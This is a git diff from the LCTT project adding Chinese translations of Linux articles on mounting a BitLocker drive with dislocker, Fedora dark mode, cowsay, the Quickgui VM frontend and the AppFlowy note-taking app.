+选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/idea_innovation_mobile_phone.png?itok=RqVtvxkd (A person looking at a phone) +[2]: https://opensource.com/sites/default/files/send-example.png +[3]: https://opensource.com/sites/default/files/download-example.png +[4]: https://opensource.com/sites/default/files/receive-file.png +[5]: https://opensource.com/sites/default/files/select-file.jpg +[6]: https://opensource.com/sites/default/files/default-location.png diff --git a/published/20211110 exa- A Modern Replacement for the ls Command.md b/published/202111/20211110 exa- A Modern Replacement for the ls Command.md similarity index 100% rename from published/20211110 exa- A Modern Replacement for the ls Command.md rename to published/202111/20211110 exa- A Modern Replacement for the ls Command.md diff --git a/published/20211111 7 Linux commands to use just for fun.md b/published/202111/20211111 7 Linux commands to use just for fun.md similarity index 100% rename from published/20211111 7 Linux commands to use just for fun.md rename to published/202111/20211111 7 Linux commands to use just for fun.md diff --git a/published/20211111 Forza Horizon 5 on Linux- There-s a Good Chance That You Can Play it Already.md b/published/202111/20211111 Forza Horizon 5 on Linux- There-s a Good Chance That You Can Play it Already.md similarity index 100% rename from published/20211111 Forza Horizon 5 on Linux- There-s a Good Chance That You Can Play it Already.md rename to published/202111/20211111 Forza Horizon 5 on Linux- There-s a Good Chance That You Can Play it Already.md diff --git a/published/202111/20211111 How to Mount Bitlocker Encrypted Windows Partition in Linux.md b/published/202111/20211111 How to Mount Bitlocker Encrypted Windows Partition in Linux.md new file mode 100644 index 0000000000..78fb1e7eca --- /dev/null +++ b/published/202111/20211111 How to Mount Bitlocker Encrypted Windows Partition in Linux.md @@ -0,0 +1,172 @@ +[#]: subject: "How to Mount Bitlocker Encrypted Windows Partition in Linux" +[#]: via: "https://itsfoss.com/mount-encrypted-windows-partition-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14008-1.html" + +如何在 Linux 中挂载 Bitlocker 加密的 Windows 分区 +====== + +> 情况是这样的。我的系统自带 Windows 10 Pro,并且带有 BitLocker 加密功能。我 [甚至在 Windows 启用了 BitLocker 加密的情况下,以双启动模式安装了 Ubuntu][1]。 + +![](https://img.linux.net.cn/data/attachment/album/202111/22/144133k6n9xsnnt46t0z94.jpg) + +你可以轻松地从 Linux 中访问 Windows 文件。没有什么高科技的东西。只要进入文件管理器,点击通常位于“其他位置Other Locations”标签下的 Windows 分区。 + +![Mounting Windows partition through the file manager in Linux desktop][2] + +对于 BitLocker 加密的 Windows 分区来说,这个过程也不是太复杂。只是当你试图挂载 Windows 分区时,它会要求你输入密码。 + +![Password required for encrypted Windows drive mount in Linux][3] + +这是能工作的。在我的情况中,我输入了 48 位 BitLocker 恢复密码,它解密了 Windows 分区,并在带有 GNOME 40 的 Ubuntu 21.10 中毫无问题地挂载了它。 + +试试你的 BitLocker 密码。如果这不起作用,试试恢复密码。对于普通的 Windows 10 Pro 用户,恢复密码存储在你的微软账户中。 + +[BitLocker Recovery Password in Micrsoft Account][4] + +输入恢复密码,你会看到 Windows 分区和它的文件现在可以访问。勾选“记住密码Remember Password”框也是为了进一步使用而节省时间。 + +![Encrypted Windows partition now mounted in Linux][5] + +如果上述方法对你不起作用,或者你不熟悉命令行,还有一个替代方法。 + +这个方法包括使用一个叫做 [Dislocker][6] 的工具。 + +### 使用 Dislocker 在 Linux 中挂载 BotLocker 加密的 Windows 分区(命令行方法) + +使用 Dislocker 分为两部分。第一部分是解开 BitLocker 的加密,并给出一个名为 `dislocker-file` 的文件。这基本上是一个虚拟的 NTFS 分区。第二部分是挂载你刚刚得到的虚拟 NTFS 分区。 + +你需要 BitLocker 密码或恢复密码来解密加密的驱动器。 + +让我们来看看详细的步骤。 + +#### 步骤 1:安装 Disclocker + +大多数 Linux 发行版的仓库中都有 Dislocker。请使用你的发行版的包管理器来安装它。 + +在基于 Ubuntu 和 Debian 的发行版上,使用这个命令: + +``` +sudo apt install dislocker +``` + +![Installing Dislocker in Ubuntu][7] + +#### 步骤 2:创建挂载点 + +你需要创建两个挂载点。一个是 Dislocker 生成 `dislocker-file` 的地方,另一个是将这个 `dislocker-file`(虚拟文件系统)作为一个回环设备挂载。 + +没有命名限制,你可以给这些挂载目录起任何你想要的名字。 + +逐一使用这些命令: + +``` +sudo mkdir -p /media/decrypt +sudo mkdir -p /media/windows-mount +``` + +![Creating mount points for dislocker][8] + +#### 步骤 3:获取需要解密的分区信息 + +你需要 Windows 分区的名称。你可以使用文件资源管理器或像 Gparted 这样的 GUI 工具。 + +![Get the partition name][9] + +在我的例子中,Windows 分区是 `/dev/nvme0n1p3`。对你的系统来说,这将是不同的。你也可以使用命令行来达到这个目的。 + +``` +sudo lsblk +``` + +#### 步骤 4:解密分区并挂载 + +你已经设置好了一切。现在是真正的部分。 + +**如果你有 BitLocker 密码**,以这种方式使用 `dislocker` 命令(用实际值替换 `` 和 ``): + +``` +sudo dislocker -u -- /media/decrypt +``` + +如果你只有恢复密码,请以这种方式使用该命令用实际值替换 `` 和 ``): + +``` +sudo dislocker -p -- /media/decrypt +``` + +在解密该分区时,应该不会花很长时间。你应该在指定的挂载点看到 `dislocker-file`,在我们的例子中是 `/media/decrypt`。现在挂载这个 dislocker-file: + +``` +sudo mount -o loop /media/decrypt/dislocker-file /media/windows-mount +``` + +![][10] + +完成了。你的 BitLocker 加密的 Windows 分区已经被解密并挂载到 Linux 中。你也可以从文件资源管理器中访问它。 + +![Mounting Dislocker decrypted Windows partition with file manager][11] + +#### 文件系统类型错误的故障排除提示 + +如果你遇到这样的错误: + +``` +mount: /media/windows-mount: wrong fs type, bad option, bad superblock on /dev/loop35, missing codepage or helper program, or other error. +``` + +你应该在挂载时指定文件系统。 + +对于NTFS,使用: + +``` +sudo mount -t ntfs-3g -o loop /media/decrypt/dislocker-file /media/windows-mount +``` + +对于 exFAT,使用: + +``` +sudo mount -t exFAT-fuse -o loop /media/decrypt/dislocker-file /media/windows-mount +``` + +#### 解除对 Windows 分区的挂载 + +你可以从文件管理器中取消挂载的分区。只要**点击名为 windows-mount 的分区旁边的卸载符号**。 + +或者,你可以使用卸载命令: + +``` +sudo umount /media/decrypt +sudo umount /media/windows-mount +``` + +我希望这对你有帮助。如果你还有问题或建议,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/mount-encrypted-windows-partition-linux/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/dual-boot-ubuntu-windows-bitlocker/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/mount-encrypted-windows-partition-in-linux.png?resize=800%2C476&ssl=1 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/password-needed-for-encrypted-windows-drive-mount-in-Linux.png?resize=788%2C380&ssl=1 +[4]: https://account.microsoft.com/devices/recoverykey?refd=support.microsoft.com +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/encrypted-windows-partition-mounted-in-Linux.png?resize=800%2C491&ssl=1 +[6]: https://github.com/Aorimn/dislocker +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-dislocker-ubuntu.png?resize=786%2C386&ssl=1 +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/creating-mount-points-for-dislocker.png?resize=777%2C367&ssl=1 +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/show-device-name-gparted.png?resize=800%2C416&ssl=1 +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/mount-dislocker-decrypted-windows-partition.png?resize=777%2C253&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/discloker-mount-encrypted-windows-partition.png?resize=800%2C483&ssl=1 diff --git a/published/20211112 8 New Features - Improvements to Expect in GIMP 3.0 Release.md b/published/202111/20211112 8 New Features - Improvements to Expect in GIMP 3.0 Release.md similarity index 100% rename from published/20211112 8 New Features - Improvements to Expect in GIMP 3.0 Release.md rename to published/202111/20211112 8 New Features - Improvements to Expect in GIMP 3.0 Release.md diff --git a/published/202111/20211113 How to Switch to Dark Mode in Fedora Linux -Beginner-s Tip.md b/published/202111/20211113 How to Switch to Dark Mode in Fedora Linux -Beginner-s Tip.md new file mode 100644 index 0000000000..43590f8072 --- /dev/null +++ b/published/202111/20211113 How to Switch to Dark Mode in Fedora Linux -Beginner-s Tip.md @@ -0,0 +1,98 @@ +[#]: subject: "How to Switch to Dark Mode in Fedora Linux [Beginner’s Tip]" +[#]: via: "https://itsfoss.com/fedora-dark-mode/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14002-1.html" + +入门:如何在 Fedora Linux 中切换到深色模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202111/20/114412oqqw4mdnxbwfbprb.jpg) + +与 Ubuntu 不同,Fedora 提供的是真正的、原生般的 GNOME 体验,而且体验很好,横向布局、三指滑动,一切都很好。 + +我不喜欢的一点是默认的标准主题,它是 Adwaita Light(默认)主题和深色的 GNOME Shell 的混合体。 + +因此,虽然通知和通知区是深色的,但系统和应用的其他部分是浅色主题。老实说,对我来说,这看起来很不协调。 + +![Fedora GNOME standard theme][1] + +另一方面,深色主题让它看起来更好。 + +![Fedora GNOME dark theme][2] + +让我告诉你如何在 Fedora 或其他任何使用 GNOME 桌面环境的发行版中开启深色模式。 + +### 在 Fedora 中切换到深色模式 + +好了!我将分享命令行的方法,因为它更快。打开一个终端,使用这个命令: + +``` +gsettings set org.gnome.desktop.interface gtk-theme Adwaita-dark +``` + +完成了。这很容易,对吗?但我也要展示一下 GUI 的方法。 + +因为我主要使用 Ubuntu,所以我始终参照 Ubuntu。Ubuntu 在系统设置中本身就提供了在浅色和深色主题之间切换的选项。 + +然而,在原生 GNOME 中却没有这样的设置。你必须先 [在 Fedora 上安装 GNOME Tweaks 工具][3],然后用它来切换主题。 + +你可以在软件中心搜索它并点击“安装Install”按钮: + +![Install GNOME Tweaks from the software center in Fedora][4] + +或者,你在终端输入以下命令: + +``` +sudo dnf install gnome-tweaks +``` + +安装完成后,按 `Super` 键(`Windows` 键)在系统菜单中搜索它: + +![Start GNOME Tweaks][5] + +点击左侧边栏的“外观Appearance”标签,点击主题部分下的应用。 + +![Changing theme in Fedora][6] + +你会看到这里有几个可用的主题。你应该在这里选择 “Adwaita-dark”。当你选择了它,应用就会切换到深色主题。 + +![Selecting the Adwaita-dark theme][7] + +就是你在 Fedora 中切换到深色模式所需要做的一切。由于 GNOME Shell 已经在使用深色主题,你不需要明确地将它设置为深色模式。所有的通知、信息栏等都是在深色模式下的。 + +### 总结 + +你可以找到各种深色 GTK 主题并安装它们来给你的 Fedora 带来不同的深色外观。然而,我注意到,只有系统自己的深色主题才能被网页浏览器识别。 + +所以,如果你访问一个根据你的系统主题自动启用深色模式的网站,它将与 Adwaita-dark 兼容,但可能与其他深色 GTK 主题不兼容。 + +这就是使用系统提供的深色主题的一个优势。 + +如你所见,在 Fedora 中启用深色模式并不是什么火箭科学。它只是一个了解和发现的过程。 + +享受深色色彩吧! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/fedora-dark-mode/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/fedora-gnome-standard-theme.webp?resize=800%2C450&ssl=1 +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/fedora-gnome-dark-theme.webp?resize=800%2C450&ssl=1 +[3]: https://itsfoss.com/install-gnome-tweaks-fedora/ +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-gnome-tweaks-fedora.webp?resize=800%2C448&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/start-gnome-tweaks-tool-in-Fedora.png?resize=800%2C271&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/change-GTK-theme-Fedora.webp?resize=800%2C532&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/switching-dark-mode-fedora.png?resize=800%2C515&ssl=1 diff --git a/published/202111/20211117 3 interesting ways to use the Linux cowsay command.md b/published/202111/20211117 3 interesting ways to use the Linux cowsay command.md new file mode 100644 index 0000000000..053dd5ab31 --- /dev/null +++ b/published/202111/20211117 3 interesting ways to use the Linux cowsay command.md @@ -0,0 +1,172 @@ +[#]: subject: "3 interesting ways to use the Linux cowsay command" +[#]: via: "https://opensource.com/article/21/11/linux-cowsay-command" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14021-1.html" + +使用 cowsay 命令的 3 种有趣方式 +====== + +> 想试一个只是好玩的应用吗?试试 cowsay。 + +![](https://img.linux.net.cn/data/attachment/album/202111/25/232451f6v8fnne2np8e22e.jpg) + +大多数时候,终端是一个生产力的动力源。但是,终端的作用不止是命令和配置。在所有杰出的开源软件中,有些是 [为了好玩而写的][2]。我以前介绍过一些 [有趣的命令][3],但这篇文章只讲一个:古老的 `cowsay` 命令。 + +`cowsay` 是一只可配置的会说话(或思考)的牛。它接受一个文本字符串,并输出一个牛说话的图形。下面是一头牛在说它喜欢 Linux: + +``` +< I love Linux > +-------------- + \ ^__^ + \ (oo)\_______ + (__)\ )\/\ + ||----w | + || || +``` + +要得到这个结果,我只需输入: + +``` +$ cowsay "I love Linux" +``` + +### 在 Linux 上安装 cowsay + +你可以用你的包管理器安装 `cowsay`。在 Debian、Mint、Elementary 和类似的发行版上: + +``` +$ sudo apt install cowsay +``` + +在 Fedora 上: + +``` +$ sudo apt install cowsay-beefymiracle +``` + +### Cowsay 命令选项 + +`cowsay` 是一个简单又有点傻的应用。除了为你的终端机提供一些不同样式外,它并没有什么实际用途。例如,与其让一头普通的牛说一个有趣短语,你可以让一头长着古怪眼睛的牛说一个有趣的短语。输入: + +``` +$ cowsay -e @@ Hello +``` + +你会看到: + +``` +< Hello > + ------- + \ ^__^ + \ (@@)\_______ + (__)\ )\/\ + ||----w | + || || +``` + +或者你可以让它伸出舌头。输入: + +``` +$ cowsay -T U Hello +``` + +你会看到: + +``` +< Hello > +------- + \ ^__^ + \ (oo)\_______ + (__)\ )\/\ + U ||----w | + || || +``` + +更好的是,你可以将 `fortune` 命令与 `cowsay` 结合起来: + +``` +$ fortune | cowsay +``` + +现在你有了一头特别睿智的牛: + +``` + _______________________________________ +/ we: \ +| | +| The single most important word in the | +\ world. / + --------------------------------------- + \ ^__^ + \ (oo)\_______ + (__)\ )\/\ + ||----w | + || || +``` + +### “结实的奇迹” + +在 Fedora 上,有一个额外的 `cowsay` 选项,也是一个非官方的项目吉祥物。多年来,Fedora 安装程序一直在展示宣传开源贡献的幻灯片。因为它们是根据汽车电影院的插曲设计的,所以幻灯片中常见的卡通人物是拟人化的热狗。 + +为了与这个主题保持一致,你可以用 Fedora 版本的 `cowsay` 调用一个所谓的“结实的奇迹beefy miracle”。(LCTT 译注:Fedora 17 的开发代号。) + +``` +$ cowsay -f beefymiracle Hello Fedora +``` + +你会得到一个非常傻的输出: + +``` +< Hello Fedora > + -------------- .---. __ + , \ / \ \ |||| + \\\\ |O___O | | \\|||| + \ // | \_/ | | \ / + '--/----/| / | |-' + // // / -----' + // \\ / / + // // / / + // \\ / / + // // / / + /| ' / / + //\___/ / + // ||\ / + \\_ || '---' + /' / \\_.- + / / --| | + '-' | | + '-' +``` + +### 图形化的 cowsay + +如果你发现自己需要用图形化的牛来传递信息,可以使用 `xcowsay` 命令。这是一个类似于 `cowsay` 的图形程序,它接受一个由用户输入的文本字符串,或从另一个应用(如 Fortune)输送过来的文本字符串。 + +![A cartoon cow has a speech bubble that reads "I love Linux"][4] + +### 有趣的 Linux 命令 + +虽然 `cowsay` 不是一个有用的命令,但它是一个有趣的命令,相当于你终端的桌面小工具。它很适合用来分散注意力和进行有趣的管道命令实验(尝试将 `ifconfig` 管道到 `cowsay`,或 `lsblk` 或 `mount`,或任何东西!)。如果你想让你的终端更有趣,试试 `cowsay`。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/linux-cowsay-command + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LIFE_CowParade_osdc.png?itok=6GD1Wnbm (Cow on parade.) +[2]: https://opensource.com/life/16/6/fun-and-semi-useless-toys-linux +[3]: https://opensource.com/article/21/11/fun-linux-commands +[4]: https://opensource.com/sites/default/files/uploads/graphical_cowsay.png (graphical cowsay) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/published/202111/20211117 Create Windows, macOS, and Linux Virtual Machines Easily With QEMU-based Quickgui.md b/published/202111/20211117 Create Windows, macOS, and Linux Virtual Machines Easily With QEMU-based Quickgui.md new file mode 100644 index 0000000000..154c52b191 --- /dev/null +++ b/published/202111/20211117 Create Windows, macOS, and Linux Virtual Machines Easily With QEMU-based Quickgui.md @@ -0,0 +1,161 @@ +[#]: subject: "Create Windows, macOS, and Linux Virtual Machines Easily With QEMU-based Quickgui" +[#]: via: "https://itsfoss.com/quickgui/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-13998-1.html" + +利用基于 QEMU 的 Quickgui 轻松创建虚拟机 +====== + +![](https://img.linux.net.cn/data/attachment/album/202111/19/104431xwh8h8hw228e77hh.jpg) + +> Quickgui 旨在成为 VirtualBox 的一个更简单的替代品,帮助你快速创建虚拟机。让我们来看看它。 + +目前,借助 VirtualBox、VMware 和其他一些程序,创建虚拟机相当容易。 + +你当然可以 [在你的 Linux 系统中安装 VirtualBox][1] 来创建虚拟机。但是,在这篇文章中,我把重点放在一个令人兴奋的工具上,即 Quickgui,它使用简单,运行速度快,能帮助你快速启动虚拟机。 + +### Quickgui:Quickemu 的图形用户界面前端 + +![][2] + +Quickemu 是一个基于终端的工具,可以让你创建优化的桌面虚拟机并轻松地管理它们。该工具专注于消除配置虚拟机的所有细微差别。相反,它根据虚拟机的可用系统资源选择最佳配置以使其正常工作。 + +不仅限于配置,它还会下载操作系统的镜像(使用 quickget 包)。 + +因此,你所要做的就是像通常那样安装操作系统,然后开始工作。 + +Quickemu 以 [QEMU][3] 为核心,旨在用 Bash 和 QEMU 取代 VirtualBox。 + +QEMU 是一个开源的机器仿真器和虚拟化器。 + +Quickemu 是一个有趣的项目,由 [Martin Wimpress][4](Ubuntu MATE 负责人)在一些贡献者的帮助下完成。 + +作为对这个工具的补充,Quickgui 是一个使用 [Flutter][5] 开发的前端,由另一组开发人员开发,以帮助在没有终端的情况下使用 Quickemu。 + +在此,我们重点介绍使用 Quickemu 创建和管理虚拟机的前端 Quickgui。 + +### Quickgui 的特点 + +![在 Zorin OS 16 上使用 Quickgui 运行虚拟机][6] + +如上所述,Quickgui 作为一个前端,其核心利用的是 Quickemu。因此,你可以期待其具有同样的功能。 + +你可以用它做的一些事情包括: + + * 搜索操作系统并下载它们以创建虚拟机。 + * 管理你现有的虚拟机。 + * 当你建立一个虚拟机时,创建默认配置。 + * 提供黑暗模式。 + * 开箱即用地创建 Windows 和 macOS 虚拟机。 + * 支持各种 Linux 发行版,包括 elementaryOS、ZorinOS、Ubuntu 等。 + * 支持 FreeBSD 和 OpenBSD。 + * 支持 EFI 和传统的 BIOS。 + * 不需要提升权限就能工作。 + * 默认情况下,宿主机/访客机共享剪贴板。 + * 可以选择镜像压缩方法。 + * 能够禁用输入。 + * 能够切换虚拟机中宿主机/访客机的可用 USB 设备。 + * 包括对 [SPICE 连接][7] 的支持。 + * 网络端口转发。 + * Samba 文件共享。 + * VirGL 加速。 + * 智能卡直通。 + +鉴于它是如此简单和容易使用,其功能集令人印象深刻。让我给你提供一些使用的技巧。 + +### Quickgui 入门 + +用户界面非常简单,你可以选择 “管理现有机器Manage existing machines” 和 “创建新机器Create new machines”。 + +你需要点击“创建Create”来开始制作虚拟机。 + +![Quickgui VM Creation][8] + +选择操作系统,你应该看到一个列表。如果你找不到目标操作系统,只需搜索一下,它应该会出现。 + +![][9] + +你会看到各种各样的操作系统。在接下来的选择中,选择所需的操作系统及其版本。然后,点击 “下载Download”。 + +它应该会下载恢复镜像或 ISO,这取决于你正在尝试的操作系统。下载将取决于你的互联网连接,但它工作得很完美。 + +如果你想自己下载 ISO,你将就得为它创建配置并进行设置。看看 [Quickemu 的 GitHub 页面][10],了解一下它的说明。 + +![][11] + +你只需要在下载完成后点击 “去除Dismiss”。 + +在这篇文章中,我测试了启动一个 Linux 虚拟机([elementary OS 6][12])、一个 macOS 实例,以及一个 Windows 虚拟机。 + +我成功地以虚拟机方式运行了 Linux 和 macOS 。然而,我在快速建立一个 Windows 虚拟机时遇到了一些问题。我在 Quickemu 的 GitHub 页面上找不到任何相关信息,所以我没有费心去排除故障。 + +如果你需要使用 Windows 虚拟机,可以自己试试,并在他们的 [Discord 服务器][13] 中联系他们寻求帮助。 + +你不一定需要改变虚拟机的配置来使其工作。因此,它变成了一个节省时间的工具。 + +### 在 Linux 中安装 Quickgui + +要使用 Quickgui,你需要先安装 Quickemu。 + +对于基于 Ubuntu 的发行版,你可以使用 PPA 来安装它: + +``` +sudo apt-add-repository ppa:flexiondotorg/quickemu +sudo apt update +sudo apt install quickemu +``` + +它应该安装了你需要的所有东西(连同 quickget 包),使其发挥作用。 + +完成后,你可以使用另一个 PPA 继续安装 Quickgui: + +``` +sudo add-apt-repository ppa:yannick-mauray/quickgui +sudo apt update +sudo apt install quickgui +``` + +如果你使用的是其他 Linux 发行版,你可以参考 [Quickemu 的 GitHub 页面][10] 和查看 [Quickgui 的 GitHub 页面][14],以获得更多说明。 + +### 总结 + +Quickgui 使人们能够方便地利用 Quickemu 的能力,快速创建和管理多个虚拟机,而不需要进行任何配置。 + +更有好的是,你不需要提升权限就能让它工作。 + +因此,如果你正在寻找 VirtualBox 的替代品,这可能就是答案。或者,你也可以试试 [GNOME Boxes][15] 作为一个更简单的替代品。 + +你对 Quickgui 有什么看法?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/quickgui/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/install-virtualbox-ubuntu/ +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/quickgui-emu.png?resize=800%2C547&ssl=1 +[3]: https://www.qemu.org/ +[4]: https://twitter.com/m_wimpress +[5]: https://itsfoss.com/install-flutter-linux/ +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/quickgui-vms.png?resize=800%2C450&ssl=1 +[7]: https://www.spice-space.org/index.html +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/quickgui-select.png?resize=800%2C534&ssl=1 +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/quickgui-quickemu-selection.png?resize=800%2C559&ssl=1 +[10]: https://github.com/wimpysworld/quickemu +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/quickemu-gui-mac.png?resize=800%2C552&ssl=1 +[12]: https://news.itsfoss.com/elementary-os-6-features/ +[13]: https://discord.com/invite/sNmz3uw +[14]: https://github.com/quickgui/quickgui +[15]: https://help.gnome.org/users/gnome-boxes/stable/ diff --git a/published/202111/20211118 A Notion like Open-Source App is in Development.md b/published/202111/20211118 A Notion like Open-Source App is in Development.md new file mode 100644 index 0000000000..5646f734f6 --- /dev/null +++ b/published/202111/20211118 A Notion like Open-Source App is in Development.md @@ -0,0 +1,95 @@ +[#]: subject: "A Notion like Open-Source App is in Development" +[#]: via: "https://news.itsfoss.com/appflowy-development/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "zengyi1001" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14012-1.html" + +一个正在开发中的类似 Notion 的开源 APP +====== + +> 它被称为“Notion 的开源替代品”,AppFlowy 旨在让你可以完全控制你的数据和定制选项。 + +![](https://img.linux.net.cn/data/attachment/album/202111/23/162933pedqtdm73tk7tp49.jpg) + +Notion 是深受团队和个人欢迎的生产力应用之一,而现在我们似乎有希望获得一个有前途的开源替代品。 + +这里为还没用过 Notion 的人介绍一下,Notion 是一个多功能合一的生产力应用,可以用于创建/管理任务、笔记、项目、数据,以及组建维基。 + +换句话说,它能让你自由组织你的工作流workflow,让你在一个地方就能集中完成所有事情。更进一步,Notion 还支持连接团队或邀请他人的协作功能。 + +那么,如果有一个可以提供类似 UI 和功能的开源应用会怎么样? + +这就是 AppFlowy。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/AppFlowy-ft.png?w=1200&ssl=1) + +### 什么是 AppFlowy + +![Source: AppFlowy.io][1] + +AppFlowy 和 Notion 非常相像,但有一个巨大的区别,那就是它是 100% 开源的。 + +虽然它还处在一个积极开发中的状态,但已经吸引到了不少的关注。至少可以说,尽管它是一个全新的东西,但任何开源替代项目都是令人兴奋的! + +正如他们 GitHub 页面的表述,说明了为什么开发者们想要创造一个 Notion 的替代品: + +> 我们都知道 Notion 有其局限性。比如说脆弱的数据安全性和糟糕的移动设备端兼容性。同样,其它一些协作工作管理工具替代品也具有各自的局限性。 + +因此,他们希望他们的的用户既拥有 Notion 的功能特性,又具备良好的数据安全性和由社区驱动的良好的原生体验。 + +他们也明确表示不想在功能特性和设计上与 Notion 相竞争。 + +> 坦率的讲,我们并没有声称在功能和设计上要优于 Notion,至少现在还是如此。此外,我们当前的首要任务也不在于提供更多的功能。相反,我们期望培养一个社区,使制作复杂工作场所管理工具的知识和设施民主化,同时通过为个人和企业配备一个多功能积木工具箱,使他们能够自己创造美好的事物。 + +听起来很吸引我! + +继续关于 **AppFlowy** 的更多信息: + +AppFlowy 的首个 macOS 版本已经在几天前发布了。它是用 Flutter 和 Rust 构建的。 + +它的目标是让用户和团队能够完整控制他们的数据和定制。他们还表示,他们希望提供包括移动设备在内的跨平台的原生体验。除此之外,你还可以离线访问你的工作区,这一点是与 Notion 不同的。 + +别忘了,社区可以发布定制主题和模板给他人使用,你可以按照你的需求任意定制。用户对它的发展能产生直接的影响。 + +它还将支持插件以扩展应用的功能。因此,即使你不具有任何编程经验,你也仍然可以选择使用这些插件来增强你工作空间的功能。并且,由于它的 UI 和 Notion 本身非常相似,如果你以后想要在两者之间切换,也不会让你感觉有太大的改变。 + +### 是否仅支持 macOS ? + +到目前为止只有 macOS 的用户可以尝鲜使用 AppFlowy。但 Linux 和 Windows 客户端也在开发之中。你可以持续关注它的 [GitHub 主页][2] 或订阅官网的最新通知。 + +开发者还希望能带来更多视觉上的改变和优化。 + +当然,它仍然处在开发阶段。所以也别期望它现在就能替代 Notion。一些类似于拖放模式drag/drop和离线模式的功能仍然还在它的 [路线图][3] 之中。 + +如果你有兴趣的话,可以访问它的官方网站或 GitHub 页面获取更多的信息,以及为其发展做出贡献。 + +- [AppFlowy][4] + +### 总而言之 + +有了社区的支持,AppFlowy 可能是 Notion 的可靠替代品。基于免费和开源的事实让它一开始就吸引大量个人和团队来试用它。 + +我也开始期待它尽快增加对 Linux 的支持,我知道它已经在开发中了。 + +你如何看待 AppFlowy? 你会计划试用它吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/appflowy-development/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[zengyi1001](https://github.com/zengyi1001) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/welcome.png?resize=1568%2C1117&ssl=1 +[2]: https://github.com/AppFlowy-IO/appflowy +[3]: https://trello.com/b/NCyXCXXh/appflowy-roadmap +[4]: 